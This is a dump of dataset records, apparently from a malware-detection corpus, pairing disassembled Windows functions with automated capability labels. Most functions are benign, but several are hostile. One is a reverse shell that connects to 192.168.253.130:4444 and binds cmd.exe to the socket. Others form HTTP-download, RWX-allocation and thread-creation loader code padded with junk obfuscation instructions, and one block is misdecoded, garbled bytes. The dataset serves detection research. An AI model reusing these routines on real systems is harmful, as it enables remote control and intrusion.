joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401270
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
push eax
call fcn.00401240
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x4012f6
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4012f6
push 4
push 0x1000
mov edx, dword [ebp - 0x1c]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x14]
push ecx
push 0
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
jmp 0x401301
mov edx, dword [ebp + 0xc]
mov dword [edx], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401620
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov dword [ebp - 0xd4], 0x64
lea eax, [ebp - 0xd4]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 0xd4]
push ecx
lea edx, [ebp - 0xd0]
push edx
push 0
push 5
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
lea ecx, [ebp - 0xd0]
push ecx
call sub.ntdll.dll__wtoi
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x401680
Capabilities:
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
push 0x100
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push 0x40236c
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40175d
push 0
push 0
push 0
push 0
push 0
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401753
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401620
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401710
mov dword [ebp - 0x10], 0x3e8
cmp dword [ebp - 0x10], 0
je 0x401753
push 4
push 0x1000
mov edx, dword [ebp - 0x10]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push 0x8000
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x401770
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
push 0
push 0
push 0
push 0
mov eax, dword [str.Opera_9.80__Windows_NT_6.0__Presto_2.12.388_Version_12.14]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4018c6
push 0
push 0x50
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4018bc
push 0x100
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4018b2
mov eax, dword [ebp + 0x10]
movzx ecx, word [eax]
cmp ecx, 0x50
jne 0x401832
push 0
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 0xffffffffffffffff
push str.Content_Type:_application_x_www_form_urlencoded
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0x1c], eax
jmp 0x40184b
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4018a8
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0xc]
push edx
call fcn.00401620
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40187c
mov dword [ebp - 0x14], 0x500000
push 4
push 0x1000
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp - 0x10]
mov dword [edx], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4018e0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
push 0
push 0
push 0
push 0
mov eax, dword [str.Opera_9.80__Windows_NT_6.0__Presto_2.12.388_Version_12.14]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401a3b
push 0
push 0x50
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x401a31
push 0x100
push 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401a27
mov eax, dword [ebp + 0xc]
movzx ecx, word [eax]
cmp ecx, 0x50
jne 0x4019a1
push 0
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp + 0x20]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0x1c], eax
jmp 0x4019ba
push 0
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401a1d
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
push eax
call fcn.00401620
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4019eb
mov dword [ebp - 0x14], 0x3e8
cmp dword [ebp - 0x14], 0
je 0x401a1d
push 4
push 0x1000
mov ecx, dword [ebp - 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 4], eax
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x401a50
Capabilities:
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0
push 0
push 0
push 0
mov eax, dword [str.Opera_9.80__Windows_NT_6.0__Presto_2.12.388_Version_12.14]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401aa1
push 0
push 0x50
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401aa1
mov eax, dword [ebp - 8]
jmp 0x401aa3
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401cd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0x40
push 0x1000
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
pop ebp
ret

Function at 0x401cf0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop ebp
ret
Function at 0x446904
Capabilities:
Encode data using xor

Disassembly:
add eax, 0x34b21ffc
fsub dword [edx - 0x31]
dec ebx
inc byte [eax]
mov dword [0x9fa53b9], eax
xchg byte [ebp - 0x3a], ch
cmp bh, cl
inc ebx
push dword [edx + ecx*4 + 0x7e]
popfd
adc byte [edx - 0x67], ch
xchg ecx, eax
dec eax
mov word [esi], cs
std
jns 0x446908
xor al, 0xd8
invalid
adc ch, dl
insb byte es:[edi], dx
sbb bh, ah
cld
scasd eax, dword es:[edi]
push ecx
lodsb al, byte [esi]
or dword [ebp + 0x28], edi
stc
add byte [ebp - 0x74aaffc0], cl
in al, dx
add esp, 0xffffffec
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x18]
test eax, eax
jle 0x44698c
mov dword [ebp - 0x14], eax

Function at 0x4bbc8d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c23b8
cmp edx, dword [eax]
je 0x4bbcaf
add eax, 8
inc ecx
cmp eax, 0x4c2448
jl 0x4bbca0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c23b8]
jne 0x4bbddd
mov eax, dword [0x4c7dc0]
cmp eax, 1
je 0x4bbdb7
test eax, eax
jne 0x4bbce0
cmp dword [0x4c22e4], 1
je 0x4bbdb7
cmp edx, 0xfc
je 0x4bbddd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bbd17
lea eax, [ebp - 0x1a4]
push 0x4c0500
push eax
call fcn.004bc670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bcb00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bbd5a
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bcb00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c04fc
push edi
call fcn.004be9d0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c04e0
push eax
call fcn.004bc670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bc680
lea eax, [ebp - 0xa0]
push 0x4c04dc
push eax
call fcn.004bc680
push dword [esi + 0x4c23bc]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bc680
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c04b4
push eax
call fcn.004be944
add esp, 0x2c
pop edi
jmp 0x4bbddd
lea eax, [ebp + 8]
lea esi, [esi + 0x4c23bc]
push 0
push eax
push dword [esi]
call fcn.004bcb00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4020e0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x2bc
lea eax, [esp]
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push eax
push 0x20019
push ebp
push 0x409920
push 0x80000002
xor edi, edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40221c
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0x74]
mov dword [esp + 0x14], ecx
mov ecx, dword [esp + 0x10]
push 0
push 0
push 0
lea edx, [esp + 0x2c]
push 0
lea eax, [esp + 0x34]
push edx
push eax
push ebp
push ecx
mov dword [esp + 0x40], 0x50
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x4021a9
lea edx, [esp + 0x24]
push edx
call ebx
lea ecx, [esp + 0x1b]
lea eax, [esp + eax + 0x22]
mov esi, 4
mov dl, byte [eax]
dec eax
mov byte [ecx], dl
dec ecx
dec esi
jne 0x40215d
mov eax, dword [esp + 0x2d4]
lea ecx, [esp + 0x18]
push eax
push ecx
mov byte [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4021a3
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp edi, 0xf
jge 0x4021a3
mov eax, dword [esp + 0x14]
inc edi
add eax, 0x28
mov dword [esp + 0x14], eax
inc ebp
jmp 0x40211f
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jle 0x40221c
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ebp, edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea esi, [esp + 0x74]
push esi
push 0x409920
lea edx, [esp + 0x2c]
push str._s_s
push edx
call edi
add esp, 0x10
lea eax, [esp + 0x10]
lea ecx, [esp + 0x24]
push eax
push 0x20019
push 0
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402216
lea edx, [esp + 0x24]
push edx
push 0x80000002
call ebx
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esi, 0x28
dec ebp
jne 0x4021ca
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2bc
ret
Function at 0x404709
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x409088
cmp edx, dword [eax]
je 0x40472b
add eax, 8
inc ecx
cmp eax, 0x409118
jl 0x40471c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x409088]
jne 0x404859
mov eax, dword [0x409494]
cmp eax, 1
je 0x404833
test eax, eax
jne 0x40475c
cmp dword [0x408fdc], 1
je 0x404833
cmp edx, 0xfc
je 0x404859
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x404793
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00403b50
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00404f30
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4047d6
lea eax, [ebp - 0x1a4]
push eax
call fcn.00404f30
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x407490
push edi
call fcn.00405eb0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00403b50
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403b60
lea eax, [ebp - 0xa0]
push 0x407470
push eax
call fcn.00403b60
push dword [esi + 0x40908c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403b60
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00405e24
add esp, 0x2c
pop edi
jmp 0x404859
lea eax, [ebp + 8]
lea esi, [esi + 0x40908c]
push 0
push eax
push dword [esi]
call fcn.00404f30
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x6c0412d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x134
mov dword [esp + 4], sym.1.dll_wsaData
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._WSASocketA_24
sub esp, 0x18
mov dword [sym.1.dll_s1], eax
mov word [sym.1.dll_hax], 2
mov dword [esp], 0x115c
call sym._htons_4
sub esp, 4
mov word [0x6c0451b6], ax
mov dword [esp], str.192.168.253.130
call sym._inet_addr_4
sub esp, 4
mov dword [0x6c0451b8], eax
mov eax, dword [sym.1.dll_s1]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], sym.1.dll_hax
mov dword [esp], eax
call sym._WSAConnect_28
sub esp, 0x1c
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], sym.1.dll_sui
call sym._memset
mov dword [sym.1.dll_sui], 0x44
mov dword [0x6c04520c], 0x101
mov eax, dword [sym.1.dll_s1]
mov dword [0x6c045220], eax
mov eax, dword [0x6c045220]
mov dword [0x6c04521c], eax
mov eax, dword [0x6c04521c]
mov dword [0x6c045218], eax
mov dword [ebp - 0x108], 0x2e646d63
mov dword [ebp - 0x104], 0x657865
lea edx, [ebp - 0x100]
mov eax, 0
mov ecx, 0x3e
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x24], sym.1.dll_pi
mov dword [esp + 0x20], sym.1.dll_sui
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x108]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
mov eax, 0
mov edi, dword [ebp - 4]
leave
ret

Function at 0x6c041650
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6c04525c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6c045254]
sub esp, 4
test ebx, ebx
je 0x6c04169b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6c041694
test esi, esi
je 0x6c041694
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6c041670
mov dword [esp], 0x6c04525c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6c041880
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6c043078
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x6c0418d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6c0419a8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6c04190e
cmp eax, 4
jne 0x6c041930
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6c04191e
cmp edx, 4
je 0x6c04191e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6c041880
Function at 0x4079d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x419efb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x120
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x2c]
call fcn.0040ed50
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x407a6b
push ebx
or ebx, esi
add ebx, edx
sbb ebx, esi
mov ebx, 0x5dde3d24
nop
pop ebx
push 0
push pe_nt_image_headers32
lea ecx, [ebp - 0x12c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x407a40
jmp 0x407a6b
cmp dword [ebp - 0x10], 0
jne 0x407a48
jmp 0x407a6b
push esi
mov esi, 0x56d01ad4
mov esi, 0x759561cf
and esi, ecx
pop esi
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 0x12c]
push ecx
lea ecx, [ebp - 0x2c]
call fcn.004137a0
jmp 0x407a04
lea edx, [ebp - 0x2c]
push edx
mov ecx, dword [ebp + 8]
call fcn.0040eaa0
mov eax, dword [ebp - 0x14]
or eax, 1
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.0040f630
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x407aa0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push esi
push edi
mov dword [ebp - 4], 0
push 0
push 0x41b6a0
mov ecx, dword [ebp + 8]
call fcn.00414960
cmp eax, 0xffffffff
je 0x407b01
mov eax, dword [0x41b6e0]
push eax
push 0
push str.http:__
mov ecx, dword [ebp + 8]
call fcn.00414960
add eax, 7
push eax
lea ecx, [ebp - 0x34]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00418000
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
push edx
mov ecx, dword [ebp + 8]
call fcn.0040fa90
lea ecx, [ebp - 0x34]
call fcn.0040f630
jmp 0x407b1c
push 0
push str.https:__
mov ecx, dword [ebp + 8]
call fcn.00414960
cmp eax, 0xffffffff
je 0x407b1c
xor al, al
jmp 0x407c1d
push esi
mov esi, 0x52a66739
mov esi, 0x55e81e47
sbb esi, esp
pop esi
mov dword [ebp - 0x54], 0
xor eax, eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov ecx, 8
lea esi, [ebp - 0x54]
lea edi, [ebp - 0x74]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x74], pe_nt_image_headers32
mov dword [ebp - 0x70], 2
mov dword [ebp - 0x68], 4
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x74]
push edx
push 0
mov ecx, dword [ebp + 8]
call fcn.00413f90
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x407b93
xor al, al
jmp 0x407c1d
push ebp
sub ebp, edx
mov ebp, 0x27e04e74
and ebp, ebp
and ebp, edi
nop
pop ebp
xor eax, eax
mov word [ebp - 0x1c], ax
xor ecx, ecx
mov dword [ebp - 0x1a], ecx
mov dword [ebp - 0x16], ecx
mov dword [ebp - 0x12], ecx
mov word [ebp - 0xe], cx
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x1c]
mov dword [edx], eax
mov ecx, dword [ebp - 0x18]
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x14]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 0x10]
mov dword [edx + 0xc], ecx
mov edx, 2
mov eax, dword [ebp + 0xc]
mov word [eax], dx
push esi
mov esi, 0x3845505e
mov esi, 0x8040942
or esi, ebp
pop esi
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x18]
mov eax, dword [ebp + 0xc]
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x30]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [ebp + 0xc]
mov word [ecx + 2], ax
push edi
mov edi, 0x14e101bc
mov edi, 0x1f6476a7
and edi, eax
pop edi
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret